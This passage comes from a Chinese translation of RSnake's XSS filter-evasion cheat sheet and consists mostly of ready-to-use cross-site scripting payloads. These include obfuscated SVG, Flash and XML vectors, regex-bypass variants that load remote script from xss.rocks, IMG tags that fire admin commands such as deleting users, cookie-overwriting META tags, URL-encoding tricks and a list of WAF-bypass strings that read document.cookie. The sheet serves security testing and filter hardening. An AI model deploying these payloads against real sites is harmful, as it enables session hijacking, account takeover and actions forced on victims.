A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcm
cv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5
L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdod
```

```
D0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+Y
WxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" Allo
wScriptAccess="always"></EMBED>
```

2.73. 在 FLASH 中使用 ActionScript 混淆 XSS 攻击向量

```
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
```

2.74. CDATA 混淆的 XML 数据岛

这个 XSS 攻击只在 IE 和使用 IE 渲染模式的 Netscape 8.1 下有效-攻击向量由 Sec Consult 在审计 Yahoo 时发现

```
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I>
</XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
```

2.75. 使用 XML 数据岛生成含内嵌 JavaScript 的本地 XML 文件

这和上面是一样的但是将来源替换为了包含跨站脚本攻击向量的本地 XML 文件（必须在同一服务器上）：

```
<XML SRC="xsstest.xml" ID=I></XML>
```

```
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
```

2.76. XML 中使用 HTML+TIME

这是 Grey Magic 攻击 Hotmail 和 Yahoo 的方法。这只在 IE 和 IE 渲染模式下的 Netscape 8.1 有效并且记得需要在 HTML 域的 BODY 标签中间才有效：

```
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SC
RIPT>">
</BODY></HTML>
```

2.77. 使用一些字符绕过".js"过滤

你可以将你的 JavaScript 文件重命名为图像来作为 XSS 攻击向量：

```
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
```

2.78. SSI（服务端脚本包含）

这需要在服务器端允许 SSI 来使用 XSS 攻击向量。似乎不用提示这点，因为如果你可以在服务器端执行指令那一定是有更严重的问题存在：

```
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=ht
tp://xss.rocks/xss.js></SCRIPT>'"-->
```

2.79. PHP

需要服务器端安装了 PHP 来使用 XSS 攻击向量。同样，如果你可以远程运行任意脚本，那会有更加严重的问题：

```
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
```

2.80. 嵌入命令的 IMAGE

当页面受密码保护并且这个密码保护同样适用于相同域的不同页面时有效，这可以用来进行删除用户，增加用户（如果访问页面的是管理员的话），将密码发送到任意地方等等。。。这是一个较少使用当时更有价值的 XSS 攻击向量：

```
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
```

2.80.1. 嵌入命令的 IMAGE II

这更加可怕因为这不包含任何可疑标识，除了它不在你自己的域名上。这个攻击向量使用一个 302 或 304（其他的也有效）来重定向图片到指定命令。所以一个普通的 <IMG SRC="httx://badguy.com/a.jpg">对于访问图片链接的用户来说也有可能是一个攻击向量。下面是利用.htaccess (Apache) 配置文件来实现攻击向量。(感谢 Timo 提供这部分。)：

```
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
```

2.81. Cookie 篡改

尽管公认不太实用，但是还是可以发现一些允许使用 META 标签的情况下可用它来覆写

cookie。另外的例子是当用户访问网站页面时，一些网站读取并显示存储在 cookie 中的用户名，而不是数据库中。当这两种场景结合时，你可以修改受害者的 cookie 以便将 JavaScript 注入到其页面中（你可以使用这个让用户登出或改变他们的用户状态，甚至可以让他们以你的账户登录）：

```
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
```

2.82. UTF-7 编码

如果存在 XSS 的页面没有提供页面编码头部，或者使用了任何设置为使用 UTF-7 编码的浏览器，就可以使用下列方式进行攻击（感谢 Roman Ivanov 提供）。这在任何不改变编码类型的现代浏览器上是无效的，这也是为什么标记为完全不支持的原因。Watchfire 在 Google 的自定义 404 脚本中发现这个问题：

```
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
```

2.83. 利用 HTML 引号包含的 XSS

这在 IE 中测试通过，但还得视情况而定。它是为了绕过那些允许"<SCRIPT>"但是不允许"<SCRIPT SRC..."形式的正则过滤即"/<script[^>]+src/i"：

```
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

这是为了绕过那些允许"<SCRIPT>"但是不允许"<SCRIPT SRC..."形式的正则过滤即"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"（这很重要，因为在实际环境中出现过这种正则过滤）：

```
<SCRIPT ="">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

另一个绕过此正则过滤" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的 XSS：

```
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

又一个绕过正则过滤" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的 XSS。尽管不想提及防御方法，但如果你想允许<SCRIPT>标签但不加载远程脚本，针对这种 XSS 只能使用状态机去防御（当然如果允许<SCRIPT>标签的话，还有其他方法绕过）：

```
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

最后一个绕过此正则过滤" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的 XSS，使用了重音符（在 FireFox 下无效）：

```
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

这是一个 XSS 样例，用来绕过那些不会检查引号配对，而是发现任何引号就立即结束参数字符串的正则表达式：

```
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

这个 XSS 很让人担心，因为如果不过滤所有活动内容几乎不可能防止此攻击：

```
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js">
</SCRIPT>
```

2.84. URL 字符绕过

假定"http://www.google.com/"是不被允许的：

2.84.1. IP 代替域名

```
<A  HREF="http://66.102.7.147/">XSS</A>
```

2.84.2. URL 编码

```
<A  HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D
">XSS</A>
```

2.84.3. 双字节编码

(注意：还有另一种双字节编码):

```
<A  HREF="http://1113982867/">XSS</A>
```

2.84.4. 十六进制编码

每个数字的允许的范围大概是 240 位字符，就如你在第二位上看到的，并且由于十六进制是在 0 到 F 之间，所以开头的 0 可以省略:

```
<A  HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
```

2.84.5. 八进制编码

又一次允许填充，尽管你必须保证每类在 4 位字符以上-例如 A 类，B 类等等:

```
<A  HREF="http://0102.0146.0007.00000223/">XSS</A>
```

2.84.6. 混合编码

让我们混合基本编码并在其中插入一些 TAB 和换行，虽然不知道浏览器为什么允许这样做。

TAB 和换行只有被引号包含时才有效:

```
<A  HREF="h

tt    p://6      6.000146.0x7.147/">XSS</A>
```

2.84.7. 协议解析绕过

(// 替代 http://可以节约很多字节).当输入空间有限时很有用(少两个字符可能解决大问题)而且可以轻松绕过类似"(ht|f)tp(s)?://"的正则过滤(感谢 Ozh 提供这部分).你也可以将"//"换成"\\"。你需要保证斜杠在正确的位置，否则可能被当成相对路径 URL:

```
<A  HREF="//www.google.com/">XSS</A>
```

2.84.8. Google 的"feeling lucky"功能 1

Firefox 使用 Google 的"feeling lucky"功能根据用户输入的任何关键词来让用户跳转到其认为最可能的网站。如果你存在漏洞的页面在某些随机关键词上搜索引擎排名是第一的，你就可以利用这一特性来攻击 FireFox 用户。这使用了 Firefox 的"keyword:"协议。你可以像下面一样使用多个关键词"keyword:XSS+RSnake"。这在 Firefox2.0 后不再有效.

```
<A  HREF="//google">XSS</A>
```

2.84.9. Google 的"feeling lucky"功能 2

这使用了一个仅在 FireFox 上有效的小技巧，因为它实现了"feeling lucky"功能。不像下面一个例子，这个在 Opera 上无效因为 Opera 会认为这是一个老式的 HTTP 基础认证钓鱼攻击，但它并不是。它只是一个畸形的 URL。如果你点击了对话框的确定，它就可以生效。但是在 Opera 上会是一个错误对话框，所以认为其不被 Opera 所支持，同样在 Firefox2.0

后不再有效。

```
<A HREF="http://ha.ckers.org@google">XSS</A>
```

2.84.10. Google 的"feeling lucky"功能 3

这是一个畸形的 URL 只在 FireFox 和 Opera 下有效，因为它们实现了"feeling lucky"功能。像上面的例子一样，它要求你的攻击页面在 Google 上特定关键词排名第一（在这个示例里关键词是"google"）

```
<A HREF="http://google:ha.ckers.org">XSS</A>
```

2.84.11. 移除别名

当结合上面的 URL，移除"www."会节约 4 个字节，总共为正确设置的服务器节省 9 字节:

```
<A HREF="http://google.com/">XSS</A>
```

2.84.12. 绝对 DNS 名称后额外的点

```
<A HREF="http://www.google.com./">XSS</A>
```

2.84.13. JavaScript link location

```
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
```

2.84.14. 内容替换作为攻击向量

假设"http://www.google.com/"会自动替换为空。我实际使用过类似的攻击向量即通过使用转换过滤器本身（示例如下）来帮助构建攻击向量以对抗现实世界的 XSS 过滤器:

```
<A HREF="http://www.google.com/ogle.com/">XSS</A>
```

2.85. 字符转义表

下面是 HTML 和 JavaScript 中字符“<”的所有可能组合。其中大部分不会被渲染出来，但其中许多可以在某些情况下呈现出来。:

```
<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
```

&#x3c

&#x03c

&#x003c

&#x0003c

&#x00003c

&#x000003c

<

<

<

<

<

<

&#X3c

&#X03c

&#X003c

&#X0003c

&#X00003c

&#X000003c

<

<

<

<

<

<

&#x3C

&#x03C

&#x003C

&#x0003C

&#x00003C

&#x000003C

<

<

<

<

<

<

&#X3C

&#X03C

&#X003C

&#X0003C

&#X00003C

&#X000003C

<

<

```
&#X003C;

&#X0003C;

&#X00003C;

&#X000003C;

\x3c

\x3C

\u003c

\u003C
```

3. 绕过 WAF 的方法

通用问题

- 存储型 XSS

如果攻击者已经让 XSS 绕过过滤器，WAF 无法阻止攻击透过。

•基于 JavaScript 的反射型 XSS

```
示例: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>

利用: /?xss=500); alert(document.cookie);//
```

•基于 DOM 的 XSS

```
示例: <script> ... eval($_GET[xss]); ... </script>

利用: /?xss=document.cookie
```

通过请求重定向构造 XSS

- 存在漏洞代码:

```
...
```

```
 header('Location: '.$_GET['param']);

...
```

同样包括:

```
...

 header('Refresh: 0; URL='.$_GET['param']);

...
```

- 这种请求不会绕过 WAF:

```
/?param=javascript:alert(document.cookie)
```

- 这种请求可以绕过 WAF 并且 XSS 攻击可以在某些浏览器执行:

```
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
```

WAF 绕过字符串.

```
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">

<Video> <source onerror = "javascript: alert (XSS)">

<Input value = "XSS" type = text>

<applet code="javascript:confirm(document.cookie);">

<isindex x="javascript:" onmouseover="alert(XSS)">

"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

"><img src="x:x" onerror="alert(XSS)">

"><iframe src="javascript:alert(XSS)">

<object data="javascript:alert(XSS)">

<isindex type=image src=1 onerror=alert(XSS)>
```

```
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img  src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href =j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
```

3.1. Alert 混淆以绕过过滤器

```
(alert)(1)

a=alert,a(1)

[1].find(alert)

top[“al”+”ert”](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top[‘al\145rt’](1)

top[‘al\x65rt’](1)

top[8680439..toString(30)](1)
```

4. 作者和主要编辑

Robert "RSnake" Hansen

5. 贡献者

Adam Lange

Mishra Dhiraj